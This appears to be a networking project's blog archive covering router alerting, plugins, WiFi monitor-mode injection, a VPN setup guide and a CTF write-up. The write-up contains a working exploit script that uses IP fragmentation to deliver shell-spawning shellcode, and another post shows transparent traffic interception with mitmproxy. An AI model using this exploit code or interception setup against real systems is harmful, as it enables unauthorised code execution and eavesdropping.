Skip to main content

· 4 min read

Alerting Made Easy

We've rolled out a lightweight alerting mechanism built right inside of SPR.

So SPR already has an event system and we wanted to improve the existing notification system as well as persist alerts for later.

We wanted something with the following properties:

  • Allow powerful matching expressions
  • Work with our lightweight key-value database for concurrent access
  • Minimal system performance impact
  • User Customizable, in UX with minimal coding

The stack

We carry extensive experience building threat detection products in the infosec space. Typically these have been substantial systems where event and graph databases manage petabytes of information, and reports get generated as part of data pipelines or by processing during ingestion.

We wanted to keep it simple. So this is the stack we've settled on for alerts:

  • Run alert matching during event ingestion
  • Keep using BoltDB as a KV which scales well and is already built
  • Use PaesslerAG/jsonpath and gval for JSONPath expressions and evaluation
  • Extensible later with custom operators and functions. We get this from gval
  • UX with our React frontend

For advanced users, exporting to InfluxDB, Splunk, or ELK can be done with the sprbus tools or by pulling the API for events, so threat detection experts can integrate SPR data into more sophisticated detection tools.

Expression Matching with JSONPath

Let's quickly take a tour of JSONPath.


JSONPath is a query syntax for matching fields of a JSON Object.

Consider the event below

"MAC": "30:58:90:32:7d:e5",
"Reason": "mismatch",
"Status": "",
"Type": "wpa",
"time": "2024-02-02T04:10:19.511662376Z",
"bucket": "wifi:auth:fail",
"MeaningOfLife": 42

To retrieve the MeaningOfLife field, we can construct the following path:

$.MeaningOfLife which returns 42.

Looking at the basic operators for JSONPath, its very much built to recurse objects and iterate through arrays. alerts-custom

So suppose we have an array of events, we can build a filter expression to query for matches.

"MAC": "30:58:90:32:7d:e5",
"Reason": "mismatch",
"Status": "",
"Type": "wpa",
"time": "2024-02-02T04:10:19.511662376Z",
"bucket": "wifi:auth:fail",
"MeaningOfLife": 42

To pull out events with MeaningOfLife 42, we would apply this query:


We could also use other mathematical comparisons


Or with gval we can even add numbers


Other useful ways to match are regular expressions on strings:



The best part is we don't need a SQL schema to get started. JSONPath work for all of the events in SPR. It may seem a bit intimidating at first, and we hide out some of the extra syntax $[?@(.)]. However, this provides a lot of flexibility and is relatively easy once you get the hang of it.


To simplify rule writing we allow multiple JSONPath queries and provide toggles for inverting logic as well as Match One (OR) or Match Any (AND). Each JSONPath query can match on multiple fields too.

The JSONPath query language is also available under the events search view for searching.

Customizability & Decorators

Alerts can Notify in the UI or they can sit on the Alerts page for triaging. When defining an alert, users can fill out the 'Title' and 'Body' for the alert to display. These support a templating language, for populating text with fields from the Alert Event. Furthermore, we've added a few decorators with hashtags to convert identifiers to device icons or go from something like a MAC address to a device name or IP Address.

Templates expand event fields inside of curly brackets as elow: MAC Mismatch IP Violation {{IP.SrcIP#Device}} {{IP.SrcIP}} {{Ethernet.SrcMAC}} to {{IP.DstIP}} {{Ethernet.DstMAC}}

Check out the guide for more details about how to configure alerts.

Need a feature?

If you'd like to see more added or have a question, don't hesitate to file a github issue or reach out on our discord


· 5 min read

What a year it's been for the Secure Programmable Router (SPR) project! We've made great strides in empowering users to take control of their networks, prioritize privacy, and unlock network configurability. Let's dive right into the highlights of 2023 and peek at what's in store for the future.


Major Accomplishments:

  • iOS App Launch: We've extended network management to your fingertips with the release of our official iOS app on the App Store. We're thankful to our users from almost each and every region on the App Store.
  • PLUS Membership: Our community now has the option to support the project with PLUS and unlock advanced features like:
    • Mesh networking for seamless coverage with multiple APs
    • Site VPN support for selectively routing traffic through a remote Wireguard VPN
    • Advanced firewall rules with scheduling, domain name, and regular expression support
  • Shipping Dev Kits. After the global supply chain crunch, we're proud to be shipping dev kits to users
  • Microsegmentation for Containers: We've taken SPR's container support to the next level with integrated container microsegmentation, enabling granular control over container and interface traffic.
  • VLAN Trunk Support: SPR can work as a wired firewall as well. Connect devices to your SPR network securely through a managed switch, with SPR terminating a VLAN Trunk Port.
  • Expanded Network Visibility: Our new event bus, database, and configurable alerting mechanism provide key insights into network activity, empowering users to detect and troubleshoot issues effectively and analyze IOT & device traffic.

Thank you to our users!

  • We Build For You: We're incredibly grateful for our active user base and their invaluable suggestions. Your feedback drives our development roadmap! Join the conversation on Discord or create a GitHub request to share your ideas. Many of SPR's capabilities come from requests. Some of the feature requests that have landed are wifi scanning from the UI, the lan_upstream tag for restricting and managing access to upstream local networks to enable secure router chaining, and load balancing support across multiple Uplink interfaces.

  • Privacy and Ad Blocking Excellence: SPR continues to excel as a self-hosted WireGuard + DNS Ad block solution, offering unmatched configurability with per-device rules, easy exception management, and upstream DNS over HTTPS support for enhanced privacy. Users can get these capabilities by self hosting in the cloud as well as running SPR at home as a router.

  • Network Debugging Made Easy: Users have been able to use SPR to successfully debug connectivity issues with devices like Ring cameras, pinpointing problems with Amazon's cloud services rather than home Wi-Fi although Ring may say otherwise.

  • Uncovering Unauthorized Access: Event logs have helped users identify and address unauthorized access attempts, including scenarios like accidental connections from new neighbors moving in.

  • Speedier WiFi: Even with our Raspberry Pi dev kits, users report impressive speeds between 500-700 Mbps over USB3, surpassing their previous routers. With MT7915/6 cards, SPR users today can enjoy actual WiFi 6 gigabit (1000+ Mbps) connectivity over 2 spatial streams as measured with iperf3.

Technical Research:

  • Unscathed by MacStealer: SPR's design was further validated by the MacStealer (CVE-2022-47522) flaws. MacStealer bypassed most Client Isolation approaches due to state errors in low level firmware with MAC address handling. SPR's per-device VLAN and per-device password approach is totally immune to this category of protocol flaws.

  • Research AP in Scapy: We've developed functional WPA2 AP research scripts in Scapy for working with Wi-Fi frames, compatible with mac80211_hwsim and real wireless cards. (

  • Turtles WiFi Hacking While waiting for the supply chain to unlock at the start of the year, we put together some wifi security training focused on protocol. We actually let people boot a kernel for a self hosted wireless lab, in the browser. Or people can play offline in containers. This is a bit different than other labs which teach people to run prebuilt software as we guide people towards working at the packet level. Check it out here


2023's Hardware In Pictures

pi4 Pi4 with a Mediatek MT76-based USB3 Adapter

pi4 Solidrun Clearfog Dev Kit

The Road Ahead:

  • Empowering Plugins: Our next major focus is facilitating community-built plugins. We've already created prototypes for Tailscale support and mitmproxy, and we're working on UI integration and streamlined installation to make plugin usage as seamless as possible without sacrificing security.
  • PI5 Router with WiFi-6: Our next hardware device will be a a PI5-based router packaged with wifi-6 support.
  • Eliminating firmware risk We're also developing software to eliminate firmware attack surfaces with WiFi.

Join the Movement:

We invite you to be part of the SPR journey! Contribute to development, share your feedback, and help us shape the future of open-source networking. Together, we can build a more secure, private, and customizable internet experience for everyone.

Visit our website and GitHub repository to learn more and get involved

· One min read

Nzyme lets people monitor their wifi networks with sensors that collect wifi data (as well as network traffic).

It can detect common wifi attack tools and tactics like deauths for getting WPA2 handshakes to crack, rogue APs, and more.

We've put together a plugin that can run alongside the SPR AP without affecting the channels, by creating a monitor interface. While this won't be able to detect Rogue APs, it can detect some anomalous activity.

The plugin is available at

· 2 min read


This post has become a guide which is being kept up to date, check it out!


In this post we'll show how PLUS members can add a mitmproxy plugin to their SPR setup, and then use the Programmable Firewall (PFW) plugin to redirect traffic through mitmproxy with DNAT forwarding.

We do not need to configure our clients with proxy settings to point to mitmproxy, or rewrite DNS responses, since we are using the PFW feature to do the redirection.

This plugin is available on github.

Prepare the plugin

from the SPR directory, typically /home/spr/super

cd plugins
git clone
echo [\"plugins/spr-mitmproxy/docker-compose.yml\"] > ../configs/base/custom_compose_paths.json
cd spr-mitmproxy
docker compose build

Configure SPR

  1. Navigate to the SPR UI. Add mitmproxy under the Plugins page
  • be sure its been added to configs/base/custom_compose_paths.json as above
  • Enable it by toggling the slider
  1. Add mitmweb0 to the custom interface rules. You can verify your container's network address in the Container tab -> Under Firewall-> Custom Interface Access Add a new rule, make sure mitmproxy has wan at least to access the internet.

  1. Create a forwarding rule to the container web interface :8081. Pick an arbitrary IP in the subnet -- although not the same one as the container as that confuses dnat.

  2. Create a site forward rule with PFW for traffic to intercept

Using mitmproxy

Then make a curl request from any of the LAN devices, and it should populate on the mitmweb host. This was the :8081 host that was earlier defined

Leveraging Transparent Sockets

Behind the scenes, mitmproxy is using transparent sockets with DNAT. Inside the container network, we establish dnat rules to mitmproxy from incoming ports 80, 443.


nft -f - << EOF
table inet nat {
chain prerouting {
type nat hook prerouting priority filter; policy accept;
tcp dport { 80, 443 } dnat ip to

mitmweb -p 9999 -m transparent --web-host

We'd love to hear from you

We're always thrilled to get feedback on plugins people would like to see, and we're excited to hear about what people will be able to do with mitmproxy running alongside SPR. Drop a line at outreach[at] or join us on discord

· 5 min read

The built-in wifi radio on a Raspberry Pi 4 is kind of sad, as it does not support monitor mode. Luckily the hackers at Seemo Labs have fixed this.

In this post we'll describe how to load Seemoo's Nexmon onto a pi4 running a modern kernel, and package it into a SPR Plugin named spr-nexmon. We'll demonstrate that packet capture and injection works.

First, we will copy the template plugin

$ cp -R super/api_sample_plugin/ spr-nexmon


Prebuilt binaries

We'll use some prebuilt binaries that include

  • the nexmon firmware build for the broadcom wifi radio
  • the 6.2 kernel build
  • the nexutil binary

These were built from the 6.1/6.2 support pull-request

$ cp -R ../nexmon/binaries spr-nexmon/binaries

Docker preparations

We'll update the Dockerfile to include some useful tools and build the project.

FROM ubuntu:23.04 as builder
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update
RUN apt-get install -y --no-install-recommends nano ca-certificates git curl
RUN mkdir /code
RUN curl -O${TARGETARCH}.tar.gz
RUN rm -rf /usr/local/go && tar -C /usr/local -xzf go1.20.linux-${TARGETARCH}.tar.gz
ENV PATH="/usr/local/go/bin:$PATH"
COPY code/ /code/

RUN --mount=type=tmpfs,target=/tmpfs \
[ "$USE_TMPFS" = "true" ] && ln -s /tmpfs /root/go; \
go build -ldflags "-s -w" -o /nexmon_plugin /code/nexmon_plugin.go

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends tcpdump kmod iw wireless-regdb && rm -rf /var/lib/apt/lists/*
COPY scripts /scripts/
COPY --from=builder /nexmon_plugin /
COPY binaries/ nexmon/
ENTRYPOINT ["/scripts/"]

We also want this container to use the host network and be privileged so it can load kernel modules. And we'll also set it to restart automatically

And heres the docker-compose.yml:

version: '3.4'

driver: journald

&default-labels ${CI:-false}
org.supernetworks.version: ${RELEASE_VERSION:-latest}${RELEASE_CHANNEL:-}

container_name: supernexmon
context: .
labels: *default-labels
logging: *default-logging
restart: always
network_mode: host
privileged: true
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
- /lib/firmware/cypress/:/lib/firmware/cypress/
- "${SUPERDIR}./state/plugins/nexmon:/state/plugins/nexmon"
- "${SUPERDIR}./state/public/:/state/public/:ro"

Extending the SPR API

The Nexmon patch breaks the ability to change channels normally. Instead, we can do it with the 'nexutil' binary that nexmon provides.

We'll rename sample_plugin.go to nexmon_plugin.go and define a new function

func changeChannel(w http.ResponseWriter, r *http.Request) {
channel := r.URL.Query().Get("channel")

// Use regexp.MatchString to check if the input matches the pattern
matches, err := regexp.MatchString("^[0-9/]*$", channel)
if err != nil || !matches {
http.Error(w, "Invalid channel string", 400)

err = exec.Command("/nexmon/nexutil", "-k"+channel).Run()
if err != nil {
http.Error(w, err.Error(), 400)
func main() {
unix_plugin_router.HandleFunc("/change_channel", changeChannel).Methods("PUT")

Updating the startup script

When the container runs, we'll have it make sure the seemo firmware and kernel module are loaded fresh.


cd /nexmon
cp brcmfmac43455-sdio.bin /lib/firmware/cypress/cyfmac43455-sdio-standard.bin

rmmod brcmfmac_wcc
rmmod brcmfmac

insmod brcmfmac.ko

sleep 1

iw phy `iw dev wlan0 info | awk '/wiphy/ {printf "phy" $2}'` interface add mon0 type monitor

echo [+] Loaded

cd /


After building, with docker compose build, we'll configure the API to load the plugin.

In the UI or by modifying configs/base/api.json, add the nexmon plugin*

"Name": "nexmon",
"URI": "nexmon",
"UnixPath": "/state/plugins/nexmon/socket",
"Enabled": true,
"Plus": false,
"GitURL": "",
"ComposeFilePath": ""

Start the plugin with

SUPERDIR=/home/spr/super/ docker compose up -d


Running tcpdump should show captured 802.11 packets from the environment

# tcpdump -i wlan0 ...

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
22:50:27.005540 1876482302us tsft 1.0 Mb/s 2412 MHz 11b -68dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.046106 1876522917us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.107930 1876584711us tsft 1.0 Mb/s 2412 MHz 11b -70dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.148500 1876625317us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.210323 1876687100us tsft 1.0 Mb/s 2412 MHz 11b -67dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY

We can also verify that our channel switch api extension works

# curl -u admin:admin localhost/plugins/nexmon/change_channel?channel=4/20 -X PUT
# iw dev

Interface wlan0
ifindex 44
wdev 0xa00000002
addr 00:00:00:00:00:00
type monitor
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
Interface mon0
ifindex 43
wdev 0xa00000001
addr e4:5f:01:fd:a1:76
type managed
channel 4 (2427 MHz), width: 20 MHz, center1: 2427 MHz
txpower 31.00 dBm

* Note that the SPR UI does not allow specifying a docker compose path directly from the UI. Instead, a user can modify or create a list in configs/base/custom_compose_paths.json to do so.

Running barely-ap

Besides sniffing traffic, we can also do wild things with packet injection, like running a WPA2 Access Point written in scapy

Since the nexmon patch is a bit hacky, we set the wlan0 mac address ourselves and make sure the channel matches

ap = AP("turtlenet", "password1234", mode="iface", iface="wlan0", mac="e4:5f:01:cd:a1:76", channel=4)


root@wifilab0:~/barely-ap/src# python3                                                                                                                  
command failed: Device or resource busy (-16)
Created TUN interface scapyap at Bind it to your services if needed.
Sending Authentication to 56:66:a3:9c:71:8b from e4:5f:01:cd:a1:76 (0x0B)...
Sending Association Response (0x01)...
sent eapol m1 56:66:a3:9c:71:8b
[+] New associated station 56:66:a3:9c:71:8b for bssid e4:5f:01:cd:a1:76

Want to try it yourself on SPR?

You can grab spr-nexmon here and barely-ap at

· 3 min read

Reducing Attack Surfaces (Part 1)

SPR lets users create adaptive, micro-segmented networks for connecting and managing devices. In addition to fine-grained network visibility we also build hardened software and work to avoid common security flaws. As SPR has matured we've started taking on further efforts to eliminate attack surfaces.

When it comes to native code: we introduce none. As in, we have not written new native code for SPR anywhere. We have one BPF filter, and its otherwise golang all the way down. We also do not run standard native services where we can avoid them. We have replaced traditional C code for services such as DNS and DHCP with golang implementations, namely CoreDNS and CoreDHCP.

The remaining native code targets that we have in SPR are as follows:

  • The Linux kernel. For example: ethernet, the tcp/ip stack, nftables, the mac80211 framework and vendor drivers
  • 802.11 Firmware, Ethernet Firmware
  • Hostapd
  • PPP Daemon (off by default)
  • OS Services (Ubuntu)

Targeting the Whole WiFi Stack

We believe the wifi firmware to be today's most insecure target (along with the vendor drivers). Many firmwares are blackbox, poorly documented, and opaque to public security research. We want SPR to be immune to attacks like Broadpwn and Qualcomm Exploitation.

We've previously published barely-ap to teach people about WiFi authentication. It can and does work with real wifi chips running in monitor mode to connect clients over the air. We've tested with Android, iOS, and Linux devices.

The plan is to build a series of experiments to host high-speed wifi.

In the near term:

  1. Develop a Proof-of-Concept AP with scapy in monitor mode (DONE)
  2. Develop a shim from monitor frames to hostapd running under mac80211_hwsim. This is a work in progress. We would like to see a rust kernel driver/userland daemon for this


  1. A full AP written in rust, operating on raw 802.11 frames (not relying on the Linux kernel 802.11 subsystem)
  2. Rust protocol firmware for a wifi chip.

Developing a Shim Explained

By running the card in monitor mode, protocol parsing in the card firmware is substantially reduced if not altogether eliminated.

And with relaying frames over to macsim, hostapd is good to go. What needs to happen however is making this incredibly fast, and researching rate negotiation and what calls might need to be made to firmware to enable higher coding rates.

By using hostapd and the kernel mac80211 stack, we still maintain some native attack surface, however we get a known working, security-tested AP that will be compatible with a wide variety of devices, without the firmware protocol parsing and the vendor driver parsing.

For next steps, a proof-of-concept with scapy is actually much too slow. We want to start with a rust userland daemon leveraging iouring. If that doesn't fly then we'll go to a shim in the kernel.

Interested in working with us? Please reach out

We are actively seeking an intern to help develop rust+wifi for SPR.

You can contact us at spr-wifi [ a-t ] or hop on the discord

· 6 min read


At Defcon CTF Finals, the Final round of LiveCTF went into sudden death. The challenge was named Noppenheimer, a play on the Oppenheimer film that was released, and NOP (NO-OP) instructions.

Contestants had to turn a random sequence of bytes into a gadget/shellcode cave by converting bytes into NOPs, by sending "nuke" Launch commands.

LAUNCH x,y - Launch a test at position x,y
VIEW - See state of test site
ENDTEST - Conclude testing

Both teams solved locally. But they couldn't exploit Noppenheimer against the remote system.

What Went Wrong

Teams used a single read/recv syscall to receive to get shellcode to run. Without any delays in the program, the call will return quickly and if the payload is larger than the MTU it will return partial TCP data. The payloads were crashing on the remote end as they didn't have working shellcode.

As @ZetaTwo and @psifertex explain, the conditions which cause this are highly specific to the exploit with payload length, delays, and other factors. The testers exploits didnt trigger this problem.

Solving with IP Fragmentation

IP Packets can be fragmented into multiple packets when they exceed the MTU size, which is the maximum amount of octets accepted at layer 2 on Ethernet.

By sending fragments in reverse order, it can be ensured that the recv/read call will get all of the data that has been sent, even beyond the MTU size.

Here is a python solution that combines scapy with pwntools, to run inside of a container, which does just that.

As a bonus, it also includes a semi-working TCP implementation written in pure scapy/python.

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Author: [email protected] <>
Demo of TCP w/ sending fragmented payloads with scapy.

Run this code inside of a namespace/container. Since Linux sends RST for forged SYN packets,
this code will use iptables to block them.

#> iptables -A OUTPUT -p tcp --tcp-flags RST RST -s <src_ip> -j DROP
from scapy.all import *
import logging
from pwn import *

logger = logging.getLogger(__name__)

class TcpHandshake(object):

class RLoop(threading.Thread):
def __init__(self, tcp):
self.tcp = tcp

def handle_recv(self, pkt):
if pkt and pkt.haslayer(IP) and pkt.haslayer(TCP):
if pkt[TCP].flags & 0x3f == 0x12: # SYN+ACK
logger.debug("RCV: SYN+ACK")
elif pkt[TCP].flags & 4 != 0: # RST
logger.debug("RCV: RST")
#raise Exception("RST")
self.tcp.abort = True
elif pkt[TCP].flags & 0x1 == 1: # FIN
logger.debug("RCV: FIN")
elif pkt[TCP].flags.A: # ACK came in?
logger.debug("RCV: ACK")
self.tcp.send_base = pkt[TCP].ack

logger.debug("RCV: %s"%repr(pkt))
if len(pkt[TCP].payload) > 0:
self.tcp.Q += [bytes(pkt[TCP].payload)]

#great, got an ack, check the send queue for pending data
while len(self.tcp.send_queue) > 0:
ret = self.tcp.send_data(self.tcp.send_queue.pop(0))
if ret == False:

logger.debug("? Unhandled packet")

def run(self):
ans = sniff(filter="tcp port %s"[1], lfilter=self.tcp.match_packet, prn=self.handle_recv, store=False)

def __init__(self, target, sport=31337):
self.seq = 0
self.seq_next = 0 = target
self.dst = next(iter(Net(target[0])))
self.dport = target[1] = sport #random.randrange(0, 2**16)
self.seq_start = random.randrange(0, 2**32)
# options=[('WScale', 7)]
self.l4 = IP(version=4,dst=target[0])/TCP(, dport=self.dport, flags=0,
seq=self.seq_start, window=65535)
self.src = self.l4.src
self.Q = []
self.abort = False

self.send_base = self.l4[TCP].seq
self.send_window = self.l4[TCP].window
self.last_sent = self.send_base
self.send_queue = []

self.last_ack = 0

#let underlying handle ethernet
self.s = conf.L3socket()

self.R = self.RLoop(self)
logger.debug("init: %s"%repr(target))

def start(self):
return self.send_syn()

def match_packet(self, pkt):
if pkt.haslayer(IP) and pkt[IP].dst == self.l4[IP].src \
and pkt.haslayer(TCP) and pkt[TCP].dport ==
if pkt[TCP].ack <= self.seq_next and pkt[TCP].ack >= self.seq_start:
return True
logger.debug("ack was %d expected %d" % (pkt[TCP].ack, self.seq_next))
return False

def send_syn(self):
logger.debug("SND: SYN")
self.l4[TCP].flags = "S"
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1

def send_synack_ack(self, pkt):
logger.debug("SND: SYN+ACK -> ACK with ack # %d" % (pkt[TCP].seq + 1))
self.l4[TCP].ack = pkt[TCP].seq + 1
self.l4[TCP].flags = "A"
self.seq_next = self.l4[TCP].seq

def send_data(self, d):
if self.abort == True:
print("[-] not sending data, aborted !!!")
return False
self.l4[TCP].flags = "PA"

available = self.send_base + self.send_window - self.last_sent

if available == 0:
self.send_queue += [d]
# have to wait
return False
assert available >= 0

if available < len(d):
d, chop = d[:available], d[available:]
self.send_queue += [chop]

self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
tosend = self.l4/d

self.l4[TCP].seq += len(d)
return True

def send_frag_data(self, d, sz):
if self.abort == True:
print("[-] not sending data, aborted !!!")
assert sz >= 8
self.l4[TCP].flags = "PA"

#tbd send window handling for fragments(?)
dat = self.l4/d
fragments = fragment(dat, sz)
for f in fragments[::-1]:

self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
self.l4[TCP].seq += len(d)
return True

def send_fin(self):
logger.debug("SND: FIN")
self.l4[TCP].flags = "F"
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1

def send_rst(self):
logger.debug("SND: RST")
self.l4[TCP].flags = "R"
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1

def send_finack(self, pkt):
logger.debug("SND: FIN+ACK")
self.l4[TCP].flags = "FA"
self.l4[TCP].ack = pkt[TCP].seq + 1
self.seq_next = self.l4[TCP].seq + 1
self.l4[TCP].seq += 1
#raise Exception("FIN+ACK")
self.abort = True

def send_ack(self, pkt):
self.l4[TCP].flags = "A"

self.last_ack = pkt[TCP].ack
to_acknowledge = len(pkt[TCP].payload)
#logger.debug("SND: ACK with ack # %d" % (pkt[TCP].seq + len(pkt[TCP].load)))

if to_acknowledge != 0:
self.l4[TCP].ack = pkt[TCP].seq + to_acknowledge

def recv(self, timeout):
elapsed = 0
while (timeout != 0) and (elapsed < timeout):
if len(self.Q) > 0:
retval = self.Q.pop(0)
return retval
elapsed += 0.
#returning nothing
return ""

def clear_recv(self):
self.Q = []

def wait_all_acks(self, timeout=0):
elapsed = 0
delta = 0.1
while (timeout != 0) and (elapsed < timeout):
if self.last_ack == self.seq_next and len(self.send_queue) == 0:
return True
elapsed += delta
return False

if __name__== '__main__':
sport = random.randint(40000, 60000)
os.system("iptables -F OUTPUT")
os.system("iptables -A OUTPUT -p tcp --sport %d --tcp-flags RST RST -j DROP"%sport)
conf.verb = 0

tcp_hs = TcpHandshake(("", 31337), sport=sport)

r = tubes.sock.sock()
r.send = tcp_hs.send_data
r.recv = tcp_hs.recv

tosend = b""
def nuke(offset):
global tosend
# scapy send is slow. to speed it up,
# chunk the commands
if len(tosend) > 400:
tosend = b""

tosend += b'LAUNCH %d,%d\n'%(offset%0x10,offset//0x10)

def nukes(a, b):
for i in range(a, b):

nukes(0, 0x40)
nukes(0x50, 0x58)
nukes(0x5b, 0x60)
nukes(0x70, 0xb0)
nukes(0xc0, 0xc3)

nukes(0xc6, 0xc7)
nukes(0xca, 0xd0)
nukes(0xe0, 0xec)
nukes(0xed, 0xf0)

nukes(0x108, 0x10c)
nukes(0x10d, 0x473)
nukes(0x495, 0xc17)

if tosend:

tosend = b'ENDTEST\n'

context.arch = 'amd64'
sc = b'\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

print("******** sending shellcode ***********")
d = b'\x90' * (0xd00+200) + sc

tcp_hs.send_frag_data(d, 100)


print("Waiting for data to come in...")
print("[+] Good")


os.system("iptables -F OUTPUT")
FROM python:3.8-slim

# Set the working directory

# Install system dependencies
RUN apt-get update && apt-get install -y libpcap-dev

# Install Scapy using pip
RUN pip install scapy pwntools
RUN pip uninstall pyelftools -y
RUN pip install pyelftools==0.29

RUN apt-get install -y iptables net-tools
RUN apt-get install -y tmux tcpdump iproute2

ENTRYPOINT ["/app/"]

· 3 min read


This guide allows you to setup your own cloud VPN using SPR for $4/month on the DigitalOcean Marketplace. It features ad blocking, firewall rules, and device micro-segmentation.

If you want to dive in directly: Click here to create a droplet using the SPR image. Else, follow along in the steps below.

Step 1 - Create a SPR Droplet

To create a SPR Droplet from the Digital Ocean marketplace, press the Create SPR Droplet button:

Pressing the button will take you to the DigitalOcean control panel. If you are not logged into your DigitalOcean account, you need to login. If you don't have an account, you can sign up for one.

Step 2 - Configure your droplet

Select a region & be sure to create a SSH key if you don't have one configured already.

For Droplet Size, the smallest $4/month with 512 MB RAM is enough but feel free to choose another one.

After you've made all your choices, press Create droplet.

Step 3 - Access your droplet

In the droplet listing you can see the IP address, click Get started to see the tutorial and how to access you server.

Step 4 - Generate a VPN Key and Connect

cd /home/spr/super && ./

You can scan the QR Code generated from the terminal

Step 5 -- Connecting to SPR

To connect to the SPR UI/API, it's possible to connect via the VPN, or to connect with an SSH tunnel

For the ssh tunnel approach, reconnect to the droplet, with forwarding options

ssh [email protected]  -N -L 8000:

Then navigate to localhost:8000. The password is auto generated by the droplet and presented on the first login .

[+] login information:
http tunnel: ssh -N -L 8000:
url: http://localhost:8000/
username: admin
password: SmczeGzcEPbBmQEi
token: 6Yd2MtMSkm0TiDG2ZIWqoFqxgiHN9HzRJ24m/U8HKw4=

You can update the admin password by modifying /home/spr/super/configs/auth/auth_users.json directly.

Alternately, when connected to the VPN, the default address for the SPR frontend will be at This can be updated under the 'supernetworks' panel.


With this guide we've described how to setup virtual SPR to get a secure, self-hosted VPN for $4/month. The setup allows you to route and redirect traffic, block ads, and automate networks tasks.

See the spr-virtual-image-build repository on GitHub for how the image is built.

Read more about running SPR in the cloud in the Virtual SPR Guide.

· 4 min read

Secure Private Router Configuration Made Easy

We are happy to announce the release of our iOS app for the SPR project. You can manage your SPR effortlessly, even while you're on the go with the VPN capabilities. The App is available today for $0.99. Revenue goes towards the development of SPR.

Read more about SPR here

Simplified Configuration

You can set up your new router, configure network firewall rules, manage devices, and establish secure VPN connections with just a few taps.

Connect Your Friends Quickly and Securely

With the SPR App you can securely bring a new device onto your wifi network in only a few seconds. To do so, add a new device, set a name, and hit next to generate a secure password. Then scan the QR code from the new device and it will be good to go.

By default, the new device has access to just the internet and nothing else. You can join it into groups for access to local network devices. For example, a gaming group for playing LAN networked games.

Ad Blocking and DNS Controls

Enhance your browsing experience by blocking intrusive ads at the network level. You can also view and customize your network device's DNS requests.

Remote Configuration via VPN

spr vpn client

SPR works great for turning your home network into a personal VPN service. You can also host SPR in the cloud. Using SPR to VPN your mobile devices helps get better network speeds to work around operator traffic shaping, as well as keep access to media services while traveling. And it's also helpful to maintain ad blocking while on the go, without adding any software at all to your devices.

With the App you can manage your SPR over the VPN itself.

To learn more about running SPR using VPN, with all its features except WiFi, check out the Virtual SPR Setup Guide

Next Steps

If you'd like to experience the power of open-source networking and take control of your network's security and privacy, give SPR a try.

Whether you're connecting directly to your SPR device or remotely through a VPN, our app offers a seamless and intuitive interface, empowering you to create a hardened and resilient home network environment.

You can download our iOS app today. Visit our homepage to learn more.

The source code for the app is available on GitHub.

App Privacy and Privacy Policy

Data Not Collected

Supernetworks, Inc. does not collect any data from this app.

We do not collect any personal information about you, such as your name, address, or email address, when you use our app.

Our app does not use any third-party services that collect or use personal information. We may receive crash logs from Apple which include anonymized code stack traces from where the errors occured.

We do not share customer data with any third-party services.

Read our Privacy Policy here

· One min read

Introducing Barely AP

We've published barely an implementation of a WiFi 802.11 Access Point, using Scapy to teach people about WiFi authentication.


On Linux, this code lets you spin up a python access point over monitor mode. It implements features like handling probe requests, authentication, association, and reassociation, and encryption and decryption of data using CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol).


This code just barely gets the job done -- it should NOT be used as a reference for writing production code. It has NO protocol security, as it is not security robust despite performing authenticated CCMP encryption.


Building & running


Inspect IP traffic

docker exec -it barely-ap tcpdump -i scapyap
docker exec -it barely-sta tcpdump -i wlan1